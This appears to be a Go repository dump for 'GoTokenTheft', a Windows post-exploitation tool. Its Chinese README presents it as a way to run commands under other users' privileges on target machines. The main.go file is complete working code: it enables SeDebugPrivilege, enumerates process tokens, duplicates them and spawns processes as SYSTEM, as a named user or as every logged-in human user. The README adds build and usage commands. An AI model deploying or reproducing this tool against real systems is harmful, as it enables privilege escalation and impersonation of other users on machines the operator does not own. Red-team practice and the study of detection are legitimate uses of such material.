[
  {
    "path": ".gitignore",
    "content": "*.exe\n"
  },
  {
    "path": "README.md",
    "content": "# GoTokenTheft\n\nGo 编写的 Token 窃取工具，用于后渗透时在目标机器上使用不同的用户权限来执行程序和命令\n\n> [!IMPORTANT]\n>\n> Token 窃取的前提是需要启用 `SeDebugPrivilege`，在大多数后渗透场景下是 `NT AUTHORITY\\SYSTEM` 权限或者 `bypass UAC`之后的人类用户权限，比如`Administrator`\n\n\n\n## 编译\n\nWindows 下编译\n\n```cmd\ngo build -o GoTokenTheft.exe main.go\n```\n\n跨平台编译\n\n```bash\nGOOS=windows GOARCH=386 CC=\"i686-w64-mingw32-gcc\" go build -o GoTokenTheft.exe main.go\n```\n\n\n\n## 使用\n\n### 快速上手\n\n指定进程\n\nUsage:\n```\nGoTokenTheft.exe -p <pid> -c <command>\n```\n\ne.g.\n```\nGoTokenTheft.exe -p 114514 -c cmd.exe\n```\n\n指定用户\n\nUsage:\n\n```\nGoTokenTheft.exe -u <user> -c <command>\n```\n\ne.g.\n\n```\nGoTokenTheft.exe -u \"NT AUTHORITY\\SYSTEM\" -c cmd.exe\n```\n\n\n\n### 其他用法\n\n查看系统内存在的所有`token`信息，包括权限和使用它的进程 pid，在实战场景下方便快速定位需要的`token`\n\n```\nGoTokenTheft.exe -t\n```\n\n查看系统内存在的所有进程信息，包括 pid 和进程名\n\n```\nGoTokenTheft.exe -p\n```\n\n查看帮助\n\n```\nGoTokenTheft.exe -h\n```\n\n"
  },
  {
    "path": "go.mod",
    "content": "module GoTokenTheft\n\ngo 1.23.4\n\nrequire golang.org/x/sys v0.29.0 // indirect\n"
  },
  {
    "path": "go.sum",
    "content": "golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=\ngolang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/user\"\n\t\"strings\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n)\n\nconst banner = `\n   ______    ______      __            ________         ______ \n  / ____/___/_  __/___  / /_____  ____/_  __/ /_  ___  / __/ /_\n / / __/ __ \\/ / / __ \\/ //_/ _ \\/ __ \\/ / / __ \\/ _ \\/ /_/ __/\n/ /_/ / /_/ / / / /_/ / ,< /  __/ / / / / / / / /  __/ __/ /_  \n\\____/\\____/_/  \\____/_/|_|\\___/_/ /_/_/ /_/ /_/\\___/_/  \\__/  \n                                                               \n`\n\n// References: https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code\ntype Luid struct {\n\tlowPart  uint32 // DWORD\n\thighPart int32  // long\n}\ntype LuidAndAttributes struct {\n\tluid       Luid   // LUID\n\tattributes uint32 // DWORD\n}\n\ntype TokenPrivileges struct {\n\tprivilegeCount uint32\n\tprivileges     [64]LuidAndAttributes\n}\n\nconst (\n\t// [Access Rights for Access-Token Objects](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects)\n\tTOKEN_QUERY             = 0x0008 // Required to query an access token.\n\tTOKEN_DUPLICATE         = 0x0002 // Required to duplicate an access token.\n\tTOKEN_ADJUST_PRIVILEGES = 0x0020 // Required to enable or disable the privileges in an access token.\n\t// [Process Security and Access Rights](https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)\n\tPROCESS_QUERY_INFORMATION         = 0x0400\n\tPROCESS_QUERY_LIMITED_INFORMATION = 0x1000 // Windows Server 2003 and Windows XP: This access right is not supported.\n\t// [ACCESS_MASK](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b)\n\tMAXIMUM_ALLOWED = 0x02000000\n\t// [SECURITY_IMPERSONATION_LEVEL enumeration](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level)\n\tSecurityImpersonation = 2\n\t// [TOKEN_TYPE enumeration](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_type)\n\tTokenPrimary = 1\n\t// [CreateProcessWithTokenW function](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)\n\tLOGON_WITH_PROFILE = 0x00000001\n\t// [CreateToolhelp32Snapshot function](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot)\n\tTH32CS_SNAPPROCESS              = 0x00000002\n\tSE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001\n\tSE_PRIVILEGE_ENABLED            = 0x00000002\n\tSE_PRIVILEGE_REMOVED            = 0x00000004\n\tTokenElevation                  = 20\n\tSECURITY_MANDATORY_SYSTEM_RID   = 0x4000\n\tPROCESS_ALL_ACCESS              = 0x1F0FFF\n)\n\nvar privilegeNames = map[uint32]string{\n\t5:  \"SeCreateTokenPrivilege\",\n\t8:  \"SeSecurityPrivilege\",\n\t9:  \"SeTakeOwnershipPrivilege\",\n\t10: \"SeLoadDriverPrivilege\",\n\t11: \"SeSystemProfilePrivilege\",\n\t12: \"SeSystemtimePrivilege\",\n\t13: \"SeProfileSingleProcessPrivilege\",\n\t14: \"SeIncreaseBasePriorityPrivilege\",\n\t15: \"SeCreatePagefilePrivilege\",\n\t17: \"SeBackupPrivilege\",\n\t18: \"SeRestorePrivilege\",\n\t19: \"SeShutdownPrivilege\",\n\t20: \"SeDebugPrivilege\",\n\t22: \"SeSystemEnvironmentPrivilege\",\n\t23: \"SeChangeNotifyPrivilege\",\n\t24: \"SeRemoteShutdownPrivilege\",\n\t25: \"SeUndockPrivilege\",\n\t28: \"SeManageVolumePrivilege\",\n\t29: \"SeImpersonatePrivilege\",\n\t30: \"SeCreateGlobalPrivilege\",\n\t33: \"SeIncreaseWorkingSetPrivilege\",\n\t34: \"SeTimeZonePrivilege\",\n\t35: \"SeCreateSymbolicLinkPrivilege\",\n\t36: \"SeRelabelPrivilege\",\n}\n\nvar (\n\tmodadvapi32                 = windows.NewLazySystemDLL(\"advapi32.dll\")\n\tprocCreateProcessWithTokenW = modadvapi32.NewProc(\"CreateProcessWithTokenW\")\n)\n\nfunc printBanner() {\n\tfmt.Println(banner)\n}\n\nfunc createProcessWithTokenW(token windows.Token, logonFlags uint32, appName, cmdLine *uint16, creFlags uint32,\n\tenv *uint16, curDir *uint16, si *windows.StartupInfo, pi *windows.ProcessInformation) error {\n\tr1, _, e1 := procCreateProcessWithTokenW.Call(\n\t\tuintptr(token),\n\t\tuintptr(logonFlags),\n\t\tuintptr(unsafe.Pointer(appName)),\n\t\tuintptr(unsafe.Pointer(cmdLine)),\n\t\tuintptr(creFlags),\n\t\tuintptr(unsafe.Pointer(env)),\n\t\tuintptr(unsafe.Pointer(curDir)),\n\t\tuintptr(unsafe.Pointer(si)),\n\t\tuintptr(unsafe.Pointer(pi)),\n\t)\n\tif r1 == 0 {\n\t\treturn e1\n\t}\n\treturn nil\n}\n\nfunc enableSeDebugPrivilege() error {\n\tvar CurrentTokenHandle windows.Token\n\tvar tkp TokenPrivileges\n\t// [Privilege Constants (Authorization)](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants)\n\tSE_DEBUG_NAME := windows.StringToUTF16Ptr(\"SeDebugPrivilege\")\n\n\tCurrentProcessHandle, err := windows.GetCurrentProcess()\n\tif err != nil {\n\t\tlog.Println(\"[-] GetCurrentProcess() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] GetCurrentProcess() success\")\n\t}\n\n\terr = windows.OpenProcessToken(CurrentProcessHandle, windows.TOKEN_QUERY|windows.TOKEN_ADJUST_PRIVILEGES, &CurrentTokenHandle)\n\tif err != nil {\n\t\tlog.Println(\"[-] OpenProcessToken() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] OpenProcessToken() success\")\n\t}\n\n\tvar debugLuid windows.LUID\n\terr = windows.LookupPrivilegeValue(nil, SE_DEBUG_NAME, &debugLuid)\n\tif err != nil {\n\t\tlog.Println(\"[-] LookupPrivilegeValue() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] LookupPrivilegeValue() success\")\n\t}\n\n\ttkp.privileges[0].luid.lowPart = debugLuid.LowPart\n\ttkp.privileges[0].luid.highPart = debugLuid.HighPart\n\n\terr = windows.AdjustTokenPrivileges(CurrentTokenHandle, false, (*windows.Tokenprivileges)(unsafe.Pointer(&tkp)), 0, nil, nil)\n\tif err != nil {\n\t\tlog.Println(\"[-] AdjustTokenPrivileges() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] AdjustTokenPrivileges() success\")\n\t}\n\n\treturn err\n}\n\nfunc getPrivileges(token windows.Token) {\n\tvar tokenInfoLength uint32\n\twindows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &tokenInfoLength)\n\tbuffer := make([]byte, tokenInfoLength)\n\terr := windows.GetTokenInformation(token, windows.TokenPrivileges, &buffer[0], tokenInfoLength, &tokenInfoLength)\n\tif err != nil {\n\t\tlog.Printf(\"[-] GetTokenInformation failed: %v\", err)\n\t\treturn\n\t}\n\n\ttp := (*TokenPrivileges)(unsafe.Pointer(&buffer[0]))\n\n\tvar enabledPrivileges []string\n\tfor i := uint32(0); i < tp.privilegeCount; i++ {\n\t\tprivilege := tp.privileges[i]\n\t\tif privilege.attributes&SE_PRIVILEGE_ENABLED != 0 {\n\t\t\tif name := privilegeNames[privilege.luid.lowPart]; name != \"\" {\n\t\t\t\tenabledPrivileges = append(enabledPrivileges, name)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(enabledPrivileges) > 0 {\n\t\tlog.Printf(\"[+] Enabled privileges: %s\\n\", strings.Join(enabledPrivileges, \", \"))\n\t} else {\n\t\tlog.Println(\"[+] No enabled privileges found\")\n\t}\n}\n\nfunc getPrivilegeAttributesString(attributes uint32) string {\n\tvar status []string\n\tif attributes&SE_PRIVILEGE_ENABLED_BY_DEFAULT != 0 {\n\t\tstatus = append(status, \"ENABLED_BY_DEFAULT\")\n\t}\n\tif attributes&SE_PRIVILEGE_ENABLED != 0 {\n\t\tstatus = append(status, \"ENABLED\")\n\t}\n\tif attributes&SE_PRIVILEGE_REMOVED != 0 {\n\t\tstatus = append(status, \"REMOVED\")\n\t}\n\tif len(status) == 0 {\n\t\treturn \"DISABLED\"\n\t}\n\treturn strings.Join(status, \"|\")\n}\n\nfunc getUserInfo() (string, bool) {\n\tcurrentUser, err := user.Current()\n\tif err != nil {\n\t\treturn \"Unknown\", false\n\t}\n\n\tvar token windows.Token\n\tprocess, _ := windows.GetCurrentProcess()\n\terr = windows.OpenProcessToken(process, windows.TOKEN_QUERY, &token)\n\tif err != nil {\n\t\treturn currentUser.Username, false\n\t}\n\tdefer token.Close()\n\n\tvar isElevated uint32\n\tvar returnLen uint32\n\terr = windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&isElevated)), 4, &returnLen)\n\n\treturn currentUser.Username, isElevated != 0\n}\n\nfunc getTokenUserInfo(token windows.Token) string {\n\tvar tokenInfoLength uint32\n\twindows.GetTokenInformation(token, windows.TokenUser, nil, 0, &tokenInfoLength)\n\tbuffer := make([]byte, tokenInfoLength)\n\terr := windows.GetTokenInformation(token, windows.TokenUser, &buffer[0], tokenInfoLength, &tokenInfoLength)\n\tif err != nil {\n\t\treturn \"Unknown\"\n\t}\n\n\ttokenUser := (*windows.Tokenuser)(unsafe.Pointer(&buffer[0]))\n\taccount, domain, _, err := tokenUser.User.Sid.LookupAccount(\"\")\n\tif err != nil {\n\t\treturn \"Unknown\"\n\t}\n\treturn domain + \"\\\\\" + account\n}\n\nfunc isRealUser(username string) bool {\n\tsystemPrefixes := []string{\n\t\t\"NT AUTHORITY\\\\\",\n\t\t\"SYSTEM\",\n\t\t\"LOCAL SERVICE\",\n\t\t\"NETWORK SERVICE\",\n\t\t\"BUILTIN\\\\\",\n\t\t\"NT SERVICE\\\\\",\n\t\t\"IIS APPPOOL\\\\\",\n\t}\n\n\tfor _, prefix := range systemPrefixes {\n\t\tif strings.HasPrefix(strings.ToUpper(username), strings.ToUpper(prefix)) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tparts := strings.Split(username, \"\\\\\")\n\tif len(parts) != 2 {\n\t\treturn false\n\t}\n\tusername = parts[1]\n\n\tuserPath := \"C:\\\\Users\\\\\" + username\n\tif _, err := os.Stat(userPath); err == nil {\n\t\ttypicalFolders := []string{\n\t\t\t\"Desktop\",\n\t\t\t\"Documents\",\n\t\t\t\"Downloads\",\n\t\t\t\"AppData\",\n\t\t}\n\n\t\tfor _, folder := range typicalFolders {\n\t\t\tif _, err := os.Stat(userPath + \"\\\\\" + folder); err == nil {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\ntype ProcessInfo struct {\n\tPID      uint32\n\tUserName string\n\tExeName  string\n\tToken    windows.Token\n}\n\nfunc getAllProcesses() []ProcessInfo {\n\tvar processes []ProcessInfo\n\n\tsnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)\n\tif err != nil {\n\t\tlog.Printf(\"[-] Failed to create snapshot: %v\\n\", err)\n\t\treturn processes\n\t}\n\tdefer windows.CloseHandle(snapshot)\n\n\tvar pe windows.ProcessEntry32\n\tpe.Size = uint32(unsafe.Sizeof(pe))\n\n\terr = windows.Process32First(snapshot, &pe)\n\tif err != nil {\n\t\tlog.Printf(\"[-] Failed to get first process: %v\\n\", err)\n\t\treturn processes\n\t}\n\n\tfor {\n\t\tif handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, false, pe.ProcessID); err == nil {\n\t\t\tvar token windows.Token\n\t\t\tif err := windows.OpenProcessToken(handle, windows.TOKEN_QUERY, &token); err == nil {\n\t\t\t\tprocesses = append(processes, ProcessInfo{\n\t\t\t\t\tPID:      pe.ProcessID,\n\t\t\t\t\tUserName: getTokenUserInfo(token),\n\t\t\t\t\tExeName:  windows.UTF16ToString(pe.ExeFile[:]),\n\t\t\t\t\tToken:    token,\n\t\t\t\t})\n\t\t\t}\n\t\t\twindows.CloseHandle(handle)\n\t\t}\n\n\t\tif err = windows.Process32Next(snapshot, &pe); err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn processes\n}\n\nfunc listProcesses() {\n\tprocesses := getAllProcesses()\n\tdefer func() {\n\t\tfor _, p := range processes {\n\t\t\tp.Token.Close()\n\t\t}\n\t}()\n\n\tlog.Println(\"[+] PID\\tUser\\t\\t\\tProcess Name\")\n\tlog.Println(\" ===\\t====\\t\\t\\t============\")\n\n\tfor _, proc := range processes {\n\t\tuserType := \"🤖\"\n\t\tif isRealUser(proc.UserName) {\n\t\t\tuserType = \"👤\"\n\t\t}\n\t\tfmt.Printf(\"\\t\\t\\t%d\\t%s %-40s\\t%s\\n\", proc.PID, userType, proc.UserName, proc.ExeName)\n\t}\n}\n\nfunc listUniqueTokens() {\n\tprocesses := getAllProcesses()\n\tdefer func() {\n\t\tfor _, p := range processes {\n\t\t\tp.Token.Close()\n\t\t}\n\t}()\n\n\tuniqueTokens := make(map[string][]uint32)\n\tfor _, proc := range processes {\n\t\tuniqueTokens[proc.UserName] = append(uniqueTokens[proc.UserName], proc.PID)\n\t}\n\n\tlog.Println(\"[+] Available Tokens in System:\")\n\tlog.Println(\"================================\")\n\n\tfor userName, pids := range uniqueTokens {\n\t\tuserType := \"🤖 System Account\"\n\t\tif isRealUser(userName) {\n\t\t\tuserType = \"👤 Real User\"\n\t\t}\n\t\tlog.Printf(\"[+] Token User: %s (%s)\\n\", userName, userType)\n\t\tlog.Printf(\"    Associated PIDs: %v\\n\", pids)\n\t\tif len(pids) > 0 {\n\t\t\tfor _, proc := range processes {\n\t\t\t\tif proc.PID == pids[0] {\n\t\t\t\t\tlog.Print(\"    Privileges: \")\n\t\t\t\t\tgetPrivileges(proc.Token)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tlog.Println(\"--------------------------------\")\n\t}\n}\n\n// Reference: https://github.com/yusufqk/SystemToken/blob/master/main.c len 102\nfunc handleProcess(pid uint32) windows.Handle {\n\tlog.Println(\"[+] OpenProcess() start.\")\n\tProcessHandle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)\n\tif err != nil {\n\t\tProcessHandle, err = windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, true, pid)\n\t\tif err != nil {\n\t\t\tlog.Println(\"[-] OpenProcess() error:\", err)\n\t\t}\n\t} else {\n\t\tlog.Println(\"[+] OpenProcess() success:\", ProcessHandle)\n\t\tvar procToken windows.Token\n\t\tif err := windows.OpenProcessToken(ProcessHandle, windows.TOKEN_QUERY, &procToken); err == nil {\n\t\t\tlog.Printf(\"[+] Target process running as: %s\\n\", getTokenUserInfo(procToken))\n\t\t\tprocToken.Close()\n\t\t}\n\t}\n\treturn ProcessHandle\n}\n\nfunc runAsToken(TokenHandle windows.Token, command *uint16) error {\n\tvar NewTokenHandle windows.Token\n\tvar StartupInfo windows.StartupInfo\n\tvar ProcessInformation windows.ProcessInformation\n\n\terr := windows.DuplicateTokenEx(TokenHandle, windows.MAXIMUM_ALLOWED, nil, windows.SecurityImpersonation, windows.TokenPrimary, &NewTokenHandle)\n\tif err != nil {\n\t\tlog.Println(\"[-] DuplicateTokenEx() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] DuplicateTokenEx() success\")\n\t\tlog.Printf(\"[+] New token user: %s\\n\", getTokenUserInfo(NewTokenHandle))\n\t\tlog.Println(\"[+] New token privileges after duplication:\")\n\t\tgetPrivileges(NewTokenHandle)\n\t}\n\n\t// 调用自定义 createProcessWithTokenW 替代 windows.CreateProcessWithTokenW\n\terr = createProcessWithTokenW(NewTokenHandle, LOGON_WITH_PROFILE, nil, command, 0, nil, nil, &StartupInfo, &ProcessInformation)\n\tif err != nil {\n\t\tlog.Println(\"[-] CreateProcessWithTokenW() error:\", err)\n\t} else {\n\t\tlog.Println(\"[+] CreateProcessWithTokenW() success\")\n\t}\n\n\treturn err\n}\n\nfunc tryDuplicateTokenForUser(targetUser, command string) {\n\tlog.Printf(\"[+] Trying to duplicate token for user: %s\\n\", targetUser)\n\tprocesses := getAllProcesses()\n\tfor _, p := range processes {\n\t\tif p.UserName == targetUser {\n\t\t\tenableSeDebugPrivilege()\n\t\t\tProcessHandle := handleProcess(p.PID)\n\t\t\tvar TokenHandle windows.Token\n\t\t\terr := windows.OpenProcessToken(ProcessHandle, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &TokenHandle)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[-] OpenProcessToken() error for PID %d: %v\\n\", p.PID, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlog.Printf(\"[+] OpenProcessToken() success for PID %d\\n\", p.PID)\n\t\t\tif runAsToken(TokenHandle, windows.StringToUTF16Ptr(command)) == nil {\n\t\t\t\tlog.Println(\"[+] Token duplication succeeded.\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\tlog.Printf(\"[-] Failed to duplicate token for user: %s\\n\", targetUser)\n}\n\nfunc tryDuplicateTokenForAllRealUsers(command string) {\n\tenableSeDebugPrivilege()\n\tprocesses := getAllProcesses()\n\thandledUsers := make(map[string]bool)\n\tfor _, p := range processes {\n\t\tif isRealUser(p.UserName) && !handledUsers[p.UserName] {\n\t\t\thandledUsers[p.UserName] = true\n\t\t\tProcessHandle := handleProcess(p.PID)\n\t\t\tvar TokenHandle windows.Token\n\t\t\terr := windows.OpenProcessToken(ProcessHandle, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &TokenHandle)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[-] OpenProcessToken() error for PID %d: %v\\n\", p.PID, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\trunAsToken(TokenHandle, windows.StringToUTF16Ptr(command))\n\t\t\tTokenHandle.Close()\n\t\t}\n\t}\n}\n\nfunc main() {\n\tprintBanner()\n\tusername, isElevated := getUserInfo()\n\tif isElevated {\n\t\tlog.Printf(\"[+] Current user: %s (UAC bypassed)\", username)\n\t} else {\n\t\tlog.Println(\"[!] Process is running with normal privileges, need to elevate privileges.\")\n\t\tos.Exit(1)\n\t}\n\n\tvar pid int\n\tvar command string\n\tvar list bool\n\tvar tokens bool\n\tvar userNameFlag string\n\tvar allHuman bool\n\n\tflag.IntVar(&pid, \"p\", 0, \"Target Process PID.\")\n\tflag.StringVar(&command, \"c\", \"Aquilao\", \"Execute Command.\")\n\tflag.BoolVar(&list, \"l\", false, \"List all processes with their tokens\")\n\tflag.BoolVar(&tokens, \"t\", false, \"List available unique tokens in system\")\n\tflag.StringVar(&userNameFlag, \"u\", \"\", \"Target username.\")\n\tflag.BoolVar(&allHuman, \"ah\", false, \"Use all real user tokens to run the specified command.\")\n\tflag.Parse()\n\n\tif tokens {\n\t\tlistUniqueTokens()\n\t\treturn\n\t}\n\n\tflag.Parse()\n\n\tif list {\n\t\tlistProcesses()\n\t\treturn\n\t}\n\n\tif allHuman && command != \"Aquilao\" {\n\t\ttryDuplicateTokenForAllRealUsers(command)\n\t\treturn\n\t}\n\n\tif userNameFlag != \"\" && command != \"Aquilao\" {\n\t\ttryDuplicateTokenForUser(userNameFlag, command)\n\t\treturn\n\t}\n\n\tif pid != 0 && command != \"Aquilao\" {\n\t\tlog.Println(\"[+] Process Pid: \", pid)\n\t\tlog.Println(\"[+] Execute Command: \", command)\n\n\t\tvar currentToken windows.Token\n\t\tcurrentProcess, _ := windows.GetCurrentProcess()\n\t\terr := windows.OpenProcessToken(currentProcess, windows.TOKEN_QUERY, &currentToken)\n\t\tif err == nil {\n\t\t\tgetPrivileges(currentToken)\n\t\t}\n\n\t\tenableSeDebugPrivilege()\n\t\tProcessHandle := handleProcess(uint32(pid))\n\n\t\tvar TokenHandle windows.Token\n\t\terr = windows.OpenProcessToken(ProcessHandle, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &TokenHandle)\n\t\tif err != nil {\n\t\t\tlog.Println(\"[-] OpenProcessToken() error:\", err)\n\t\t} else {\n\t\t\tlog.Println(\"[+] OpenProcessToken() success\")\n\t\t\tlog.Println(\"[+] Target process privileges:\")\n\t\t\tgetPrivileges(TokenHandle)\n\t\t}\n\n\t\trunAsToken(TokenHandle, windows.StringToUTF16Ptr(command))\n\t} else {\n\t\tlog.Println(\"[-] Please input pid and command, type \\\"-h\\\" see help.\")\n\t}\n}\n"
  }
]